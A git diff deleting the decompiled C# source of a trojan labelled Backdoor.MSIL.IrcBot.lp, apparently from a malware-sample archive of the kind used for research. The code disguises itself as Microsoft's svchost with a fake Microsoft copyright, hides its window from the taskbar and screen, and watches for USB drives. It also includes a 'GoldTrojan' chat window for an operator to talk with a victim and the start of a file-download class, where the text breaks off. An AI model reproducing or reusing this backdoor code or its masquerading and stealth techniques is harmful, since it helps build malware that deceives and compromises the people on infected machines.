diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/AssemblyInfo.cs
deleted file mode 100644
index b8dafdab..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/AssemblyInfo.cs
+++ /dev/null
@@ -1,14 +0,0 @@
-using System.Reflection;
-using System.Runtime.InteropServices;
-
-[assembly: AssemblyCompany("")]
-[assembly: AssemblyProduct("svchost")]
-[assembly: AssemblyTitle("Generic Host Process for Win32 Services")]
-[assembly: AssemblyDescription("Generic Host Process for Win32 Services")]
-[assembly: AssemblyConfiguration("")]
-[assembly: AssemblyCopyright("Copyright © Microsoft")]
-[assembly: AssemblyTrademark("")]
-[assembly: ComVisible(false)]
-[assembly: Guid("0ea6fff1-cc47-4bc0-b703-3ed5264018c0")]
-[assembly: AssemblyFileVersion("3.2.4")]
-[assembly: AssemblyVersion("3.2.4.0")]
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Backdoor.MSIL.IrcBot.lp.csproj b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Backdoor.MSIL.IrcBot.lp.csproj
deleted file mode 100644
index eb040767..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Backdoor.MSIL.IrcBot.lp.csproj
+++ /dev/null
@@ -1,169 +0,0 @@
-
-
-
-
- Debug
- AnyCPU
- {5BF5202E-1F94-42EE-A431-AF9196FB250A}
- WinExe
- svchost
- 3.2.4.0
-
-
- AnyCPU
- true
- full
- false
- bin\Debug\
- DEBUG;TRACE
- prompt
- 4
-
-
- AnyCPU
- pdbonly
- true
- bin\Release\
- TRACE
- prompt
- 4
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Backdoor.MSIL.IrcBot.lp.sln b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Backdoor.MSIL.IrcBot.lp.sln
deleted file mode 100644
index 8907ae80..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Backdoor.MSIL.IrcBot.lp.sln
+++ /dev/null
@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual Studio 2005
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "svchost", "Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.csproj", "{5BF5202E-1F94-42EE-A431-AF9196FB250A}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Any CPU = Debug|Any CPU
- Release|Any CPU = Release|Any CPU
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {5BF5202E-1F94-42EE-A431-AF9196FB250A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {5BF5202E-1F94-42EE-A431-AF9196FB250A}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {5BF5202E-1F94-42EE-A431-AF9196FB250A}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {5BF5202E-1F94-42EE-A431-AF9196FB250A}.Release|Any CPU.Build.0 = Release|Any CPU
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DetectorForm.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DetectorForm.cs
deleted file mode 100644
index 04b1b467..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DetectorForm.cs
+++ /dev/null
@@ -1,63 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Dolinay.DetectorForm
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.Drawing;
-using System.Windows.Forms;
-
-namespace Dolinay
-{
- internal class DetectorForm : Form
- {
- private Label label1;
- private DriveDetector mDetector;
-
- public DetectorForm(DriveDetector detector)
- {
- this.mDetector = detector;
- this.MinimizeBox = false;
- this.MaximizeBox = false;
- this.ShowInTaskbar = false;
- this.ShowIcon = false;
- this.FormBorderStyle = FormBorderStyle.None;
- this.Load += new EventHandler(this.Load_Form);
- this.Activated += new EventHandler(this.Form_Activated);
- }
-
- private void Load_Form(object sender, EventArgs e)
- {
- this.InitializeComponent();
- this.Size = new Size(5, 5);
- }
-
- private void Form_Activated(object sender, EventArgs e) => this.Visible = false;
-
- protected override void WndProc(ref Message m)
- {
- base.WndProc(ref m);
- if (this.mDetector == null)
- return;
- this.mDetector.WndProc(ref m);
- }
-
- private void InitializeComponent()
- {
- this.label1 = new Label();
- this.SuspendLayout();
- this.label1.AutoSize = true;
- this.label1.Location = new Point(13, 30);
- this.label1.Name = "label1";
- this.label1.Size = new Size(314, 13);
- this.label1.TabIndex = 0;
- this.label1.Text = "This is invisible form. To see DriveDetector code click View Code";
- this.ClientSize = new Size(360, 80);
- this.Controls.Add((Control) this.label1);
- this.Name = nameof (DetectorForm);
- this.ResumeLayout(false);
- this.PerformLayout();
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DetectorForm.resx b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DetectorForm.resx
deleted file mode 100644
index d58980a3..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DetectorForm.resx
+++ /dev/null
@@ -1,120 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- text/microsoft-resx
-
-
- 2.0
-
-
- System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DriveDetector.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DriveDetector.cs
deleted file mode 100644
index 5eb20cec..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DriveDetector.cs
+++ /dev/null
@@ -1,308 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Dolinay.DriveDetector
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using Microsoft.Win32.SafeHandles;
-using System;
-using System.IO;
-using System.Runtime.InteropServices;
-using System.Windows.Forms;
-
-namespace Dolinay
-{
- internal class DriveDetector : IDisposable
- {
- private const int DBT_DEVTYP_DEVICEINTERFACE = 5;
- private const int DBT_DEVTYP_HANDLE = 6;
- private const int BROADCAST_QUERY_DENY = 1112363332;
- private const int WM_DEVICECHANGE = 537;
- private const int DBT_DEVICEARRIVAL = 32768;
- private const int DBT_DEVICEQUERYREMOVE = 32769;
- private const int DBT_DEVICEREMOVECOMPLETE = 32772;
- private const int DBT_DEVTYP_VOLUME = 2;
- private IntPtr mDirHandle = IntPtr.Zero;
- private FileStream mFileOnFlash;
- private string mFileToOpen;
- private IntPtr mDeviceNotifyHandle;
- private IntPtr mRecipientHandle;
- private string mCurrentDrive;
-
- public event DriveDetectorEventHandler DeviceArrived;
-
- public event DriveDetectorEventHandler DeviceRemoved;
-
- public event DriveDetectorEventHandler QueryRemove;
-
- public DriveDetector()
- {
- DetectorForm detectorForm = new DetectorForm(this);
- detectorForm.Show();
- this.Init((Control) detectorForm, (string) null);
- }
-
- public DriveDetector(Control control) => this.Init(control, (string) null);
-
- public DriveDetector(Control control, string FileToOpen) => this.Init(control, FileToOpen);
-
- private void Init(Control control, string fileToOpen)
- {
- this.mFileToOpen = fileToOpen;
- this.mFileOnFlash = (FileStream) null;
- this.mDeviceNotifyHandle = IntPtr.Zero;
- this.mRecipientHandle = control.Handle;
- this.mDirHandle = IntPtr.Zero;
- this.mCurrentDrive = "";
- }
-
- public bool IsQueryHooked => !(this.mDeviceNotifyHandle == IntPtr.Zero);
-
- public string HookedDrive => this.mCurrentDrive;
-
- public FileStream OpenedFile => this.mFileOnFlash;
-
- public bool EnableQueryRemove(string fileOnDrive)
- {
- switch (fileOnDrive)
- {
- case "":
- case null:
- throw new ArgumentException("Drive path must be supplied to register for Query remove.");
- default:
- if (fileOnDrive.Length == 2 && fileOnDrive[1] == ':')
- fileOnDrive += (string) (object) '\\';
- if (this.mDeviceNotifyHandle != IntPtr.Zero)
- this.RegisterForDeviceChange(false, (SafeFileHandle) null);
- this.mFileToOpen = Path.GetFileName(fileOnDrive).Length == 0 || !File.Exists(fileOnDrive) ? (string) null : fileOnDrive;
- this.RegisterQuery(Path.GetPathRoot(fileOnDrive));
- return !(this.mDeviceNotifyHandle == IntPtr.Zero);
- }
- }
-
- public void DisableQueryRemove()
- {
- if (!(this.mDeviceNotifyHandle != IntPtr.Zero))
- return;
- this.RegisterForDeviceChange(false, (SafeFileHandle) null);
- }
-
- public void Dispose() => this.RegisterForDeviceChange(false, (SafeFileHandle) null);
-
- public void WndProc(ref Message m)
- {
- if (m.Msg != 537)
- return;
- switch (m.WParam.ToInt32())
- {
- case 32768:
- if (Marshal.ReadInt32(m.LParam, 4) != 2)
- break;
- char letter1 = DriveDetector.DriveMaskToLetter(((DriveDetector.DEV_BROADCAST_VOLUME) Marshal.PtrToStructure(m.LParam, typeof (DriveDetector.DEV_BROADCAST_VOLUME))).dbcv_unitmask);
- DriveDetectorEventHandler deviceArrived = this.DeviceArrived;
- if (deviceArrived == null)
- break;
- DriveDetectorEventArgs e1 = new DriveDetectorEventArgs();
- e1.Drive = letter1.ToString() + ":\\";
- deviceArrived((object) this, e1);
- if (!e1.HookQueryRemove)
- break;
- if (this.mDeviceNotifyHandle != IntPtr.Zero)
- this.RegisterForDeviceChange(false, (SafeFileHandle) null);
- this.RegisterQuery(letter1.ToString() + ":\\");
- break;
- case 32769:
- if (Marshal.ReadInt32(m.LParam, 4) != 6)
- break;
- DriveDetectorEventHandler queryRemove = this.QueryRemove;
- if (queryRemove == null)
- break;
- DriveDetectorEventArgs e2 = new DriveDetectorEventArgs();
- e2.Drive = this.mCurrentDrive;
- queryRemove((object) this, e2);
- if (e2.Cancel)
- {
- m.Result = (IntPtr) 1112363332;
- break;
- }
- this.RegisterForDeviceChange(false, (SafeFileHandle) null);
- break;
- case 32772:
- if (Marshal.ReadInt32(m.LParam, 4) != 2 || Marshal.ReadInt32(m.LParam, 4) != 2)
- break;
- char letter2 = DriveDetector.DriveMaskToLetter(((DriveDetector.DEV_BROADCAST_VOLUME) Marshal.PtrToStructure(m.LParam, typeof (DriveDetector.DEV_BROADCAST_VOLUME))).dbcv_unitmask);
- DriveDetectorEventHandler deviceRemoved = this.DeviceRemoved;
- if (deviceRemoved == null)
- break;
- deviceRemoved((object) this, new DriveDetectorEventArgs()
- {
- Drive = letter2.ToString() + ":\\"
- });
- break;
- }
- }
-
- private void RegisterQuery(string drive)
- {
- bool flag = true;
- if (this.mFileToOpen != null)
- {
- if (this.mFileToOpen.Contains(":"))
- {
- string path2 = this.mFileToOpen.Substring(3);
- this.mFileToOpen = Path.Combine(Path.GetPathRoot(drive), path2);
- }
- else
- this.mFileToOpen = Path.Combine(drive, this.mFileToOpen);
- }
- try
- {
- this.mFileOnFlash = this.mFileToOpen != null ? new FileStream(this.mFileToOpen, FileMode.Open) : (FileStream) null;
- }
- catch (Exception ex)
- {
- flag = false;
- }
- if (!flag)
- return;
- if (this.mFileOnFlash == null)
- this.RegisterForDeviceChange(drive);
- else
- this.RegisterForDeviceChange(true, this.mFileOnFlash.SafeFileHandle);
- this.mCurrentDrive = drive;
- }
-
- private void RegisterForDeviceChange(string dirPath)
- {
- IntPtr num1 = DriveDetector.Native.OpenDirectory(dirPath);
- if (num1 == IntPtr.Zero)
- {
- this.mDeviceNotifyHandle = IntPtr.Zero;
- }
- else
- {
- this.mDirHandle = num1;
- DriveDetector.DEV_BROADCAST_HANDLE structure = new DriveDetector.DEV_BROADCAST_HANDLE();
- structure.dbch_devicetype = 6;
- structure.dbch_reserved = 0;
- structure.dbch_nameoffset = 0L;
- structure.dbch_handle = num1;
- structure.dbch_hdevnotify = (IntPtr) 0;
- int cb = Marshal.SizeOf((object) structure);
- structure.dbch_size = cb;
- IntPtr num2 = Marshal.AllocHGlobal(cb);
- Marshal.StructureToPtr((object) structure, num2, true);
- this.mDeviceNotifyHandle = DriveDetector.Native.RegisterDeviceNotification(this.mRecipientHandle, num2, 0U);
- }
- }
-
- private void RegisterForDeviceChange(bool register, SafeFileHandle fileHandle)
- {
- if (register)
- {
- DriveDetector.DEV_BROADCAST_HANDLE structure = new DriveDetector.DEV_BROADCAST_HANDLE();
- structure.dbch_devicetype = 6;
- structure.dbch_reserved = 0;
- structure.dbch_nameoffset = 0L;
- structure.dbch_handle = fileHandle.DangerousGetHandle();
- structure.dbch_hdevnotify = (IntPtr) 0;
- int cb = Marshal.SizeOf((object) structure);
- structure.dbch_size = cb;
- IntPtr num = Marshal.AllocHGlobal(cb);
- Marshal.StructureToPtr((object) structure, num, true);
- this.mDeviceNotifyHandle = DriveDetector.Native.RegisterDeviceNotification(this.mRecipientHandle, num, 0U);
- }
- else
- {
- if (this.mDirHandle != IntPtr.Zero)
- DriveDetector.Native.CloseDirectoryHandle(this.mDirHandle);
- if (this.mDeviceNotifyHandle != IntPtr.Zero)
- {
- int num = (int) DriveDetector.Native.UnregisterDeviceNotification(this.mDeviceNotifyHandle);
- }
- this.mDeviceNotifyHandle = IntPtr.Zero;
- this.mDirHandle = IntPtr.Zero;
- this.mCurrentDrive = "";
- if (this.mFileOnFlash == null)
- return;
- this.mFileOnFlash.Close();
- this.mFileOnFlash = (FileStream) null;
- }
- }
-
- private static char DriveMaskToLetter(int mask)
- {
- string str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
- int index = 0;
- int num = mask / 2;
- while (num != 0)
- {
- num /= 2;
- ++index;
- }
- return index >= str.Length ? '?' : str[index];
- }
-
- private class Native
- {
- private const uint GENERIC_READ = 2147483648;
- private const uint OPEN_EXISTING = 3;
- private const uint FILE_SHARE_READ = 1;
- private const uint FILE_SHARE_WRITE = 2;
- private const uint FILE_ATTRIBUTE_NORMAL = 128;
- private const uint FILE_FLAG_BACKUP_SEMANTICS = 33554432;
- private static readonly IntPtr INVALID_HANDLE_VALUE = new IntPtr(-1);
-
- [DllImport("user32.dll", CharSet = CharSet.Auto)]
- public static extern IntPtr RegisterDeviceNotification(
- IntPtr hRecipient,
- IntPtr NotificationFilter,
- uint Flags);
-
- [DllImport("user32.dll", CharSet = CharSet.Auto)]
- public static extern uint UnregisterDeviceNotification(IntPtr hHandle);
-
- [DllImport("kernel32", SetLastError = true)]
- private static extern IntPtr CreateFile(
- string FileName,
- uint DesiredAccess,
- uint ShareMode,
- uint SecurityAttributes,
- uint CreationDisposition,
- uint FlagsAndAttributes,
- int hTemplateFile);
-
- [DllImport("kernel32", SetLastError = true)]
- private static extern bool CloseHandle(IntPtr hObject);
-
- public static IntPtr OpenDirectory(string dirPath)
- {
- IntPtr file = DriveDetector.Native.CreateFile(dirPath, 2147483648U, 3U, 0U, 3U, 33554560U, 0);
- return file == DriveDetector.Native.INVALID_HANDLE_VALUE ? IntPtr.Zero : file;
- }
-
- public static bool CloseDirectoryHandle(IntPtr handle) => DriveDetector.Native.CloseHandle(handle);
- }
-
- public struct DEV_BROADCAST_HANDLE
- {
- public int dbch_size;
- public int dbch_devicetype;
- public int dbch_reserved;
- public IntPtr dbch_handle;
- public IntPtr dbch_hdevnotify;
- public Guid dbch_eventguid;
- public long dbch_nameoffset;
- public byte dbch_data;
- public byte dbch_data1;
- }
-
- public struct DEV_BROADCAST_VOLUME
- {
- public int dbcv_size;
- public int dbcv_devicetype;
- public int dbcv_reserved;
- public int dbcv_unitmask;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DriveDetectorEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DriveDetectorEventArgs.cs
deleted file mode 100644
index f3676dc3..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DriveDetectorEventArgs.cs
+++ /dev/null
@@ -1,24 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Dolinay.DriveDetectorEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-
-namespace Dolinay
-{
- public class DriveDetectorEventArgs : EventArgs
- {
- public bool Cancel;
- public string Drive;
- public bool HookQueryRemove;
-
- public DriveDetectorEventArgs()
- {
- this.Cancel = false;
- this.Drive = "";
- this.HookQueryRemove = false;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DriveDetectorEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DriveDetectorEventHandler.cs
deleted file mode 100644
index f862d0a7..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Dolinay/DriveDetectorEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Dolinay.DriveDetectorEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Dolinay
-{
- public delegate void DriveDetectorEventHandler(object sender, DriveDetectorEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Chat.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Chat.cs
deleted file mode 100644
index 9869f083..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Chat.cs
+++ /dev/null
@@ -1,131 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: GoldTrojan.Chat
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.ComponentModel;
-using System.Drawing;
-using System.Windows.Forms;
-
-namespace GoldTrojan
-{
- public class Chat : Form
- {
- public string txt;
- private string nicks;
- private string nicko;
- private IContainer components;
- private Button button1;
- private TextBox txtInput;
- private TextBox txtOutput;
-
- public Chat() => this.InitializeComponent();
-
- public void WyswietlWiadomosc(string tekst)
- {
- TextBox txtOutput = this.txtOutput;
- txtOutput.Text = txtOutput.Text + this.nicks + ": " + this.godzina() + Environment.NewLine + tekst + Environment.NewLine;
- this.Odswiez();
- }
-
- private string godzina()
- {
- DateTime now = DateTime.Now;
- return "[" + Convert.ToString(now.Hour) + ":" + Convert.ToString(now.Minute) + "]";
- }
-
- public void Dane(string nickser, string nickofiary)
- {
- this.nicks = nickser;
- this.nicko = nickofiary;
- }
-
- private void Odswiez()
- {
- this.txtOutput.SelectionStart = this.txtOutput.Text.Length;
- this.txtOutput.ScrollToCaret();
- this.txtOutput.Refresh();
- }
-
- private void button1_Click(object sender, EventArgs e)
- {
- string str1 = this.nicko + ": " + this.godzina() + Environment.NewLine + this.txtInput.Text + Environment.NewLine;
- string str2 = this.godzina() + " " + this.txtInput.Text;
- Chat chat = this;
- chat.txt = chat.txt + str2 + " ";
- this.txtOutput.Text += str1;
- this.Odswiez();
- this.txtInput.Text = "";
- }
-
- private void Chat_KeyDown(object sender, KeyEventArgs e)
- {
- if (e.KeyCode != Keys.Return)
- return;
- this.button1_Click(sender, (EventArgs) e);
- }
-
- private void txtInput_KeyDown(object sender, KeyEventArgs e)
- {
- if (e.KeyCode != Keys.Return)
- return;
- this.button1_Click(sender, (EventArgs) e);
- }
-
- private void Chat_FormClosing(object sender, FormClosingEventArgs e) => new Chat().Hide();
-
- protected override void Dispose(bool disposing)
- {
- if (disposing && this.components != null)
- this.components.Dispose();
- base.Dispose(disposing);
- }
-
- private void InitializeComponent()
- {
- this.button1 = new Button();
- this.txtInput = new TextBox();
- this.txtOutput = new TextBox();
- this.SuspendLayout();
- this.button1.AllowDrop = true;
- this.button1.Location = new Point(12, 231);
- this.button1.Name = "button1";
- this.button1.Size = new Size(268, 23);
- this.button1.TabIndex = 4;
- this.button1.Text = "Wyślij";
- this.button1.UseVisualStyleBackColor = true;
- this.button1.Click += new EventHandler(this.button1_Click);
- this.txtInput.AllowDrop = true;
- this.txtInput.Location = new Point(12, 205);
- this.txtInput.Name = "txtInput";
- this.txtInput.Size = new Size(268, 20);
- this.txtInput.TabIndex = 3;
- this.txtInput.KeyDown += new KeyEventHandler(this.txtInput_KeyDown);
- this.txtOutput.AllowDrop = true;
- this.txtOutput.Location = new Point(12, 12);
- this.txtOutput.Multiline = true;
- this.txtOutput.Name = "txtOutput";
- this.txtOutput.ReadOnly = true;
- this.txtOutput.ScrollBars = ScrollBars.Vertical;
- this.txtOutput.Size = new Size(268, 176);
- this.txtOutput.TabIndex = 5;
- this.txtOutput.WordWrap = false;
- this.AllowDrop = true;
- this.AutoScaleDimensions = new SizeF(6f, 13f);
- this.AutoScaleMode = AutoScaleMode.Font;
- this.ClientSize = new Size(292, 266);
- this.Controls.Add((Control) this.button1);
- this.Controls.Add((Control) this.txtInput);
- this.Controls.Add((Control) this.txtOutput);
- this.Name = nameof (Chat);
- this.ShowInTaskbar = false;
- this.Text = nameof (Chat);
- this.FormClosing += new FormClosingEventHandler(this.Chat_FormClosing);
- this.KeyDown += new KeyEventHandler(this.Chat_KeyDown);
- this.ResumeLayout(false);
- this.PerformLayout();
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Chat.resx b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Chat.resx
deleted file mode 100644
index d58980a3..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Chat.resx
+++ /dev/null
@@ -1,120 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- text/microsoft-resx
-
-
- 2.0
-
-
- System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/DownloadData.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/DownloadData.cs
deleted file mode 100644
index ce4fa59e..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/DownloadData.cs
+++ /dev/null
@@ -1,152 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: GoldTrojan.DownloadData
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.IO;
-using System.Net;
-
-namespace GoldTrojan
-{
- internal class DownloadData
- {
- private WebResponse response;
- private Stream stream;
- private long size;
- private long start;
- private IWebProxy proxy;
-
- public static DownloadData Create(string url, string destFolder) => DownloadData.Create(url, destFolder, (IWebProxy) null);
-
- public static DownloadData Create(string url, string destFolder, IWebProxy proxy)
- {
- DownloadData downloadData = new DownloadData();
- downloadData.proxy = proxy;
- long fileSize = downloadData.GetFileSize(url);
- downloadData.size = fileSize;
- WebRequest request1 = downloadData.GetRequest(url);
- try
- {
- downloadData.response = request1.GetResponse();
- }
- catch (Exception ex)
- {
- throw new ArgumentException(string.Format("Error downloading \"{0}\": {1}", (object) url, (object) ex.Message), ex);
- }
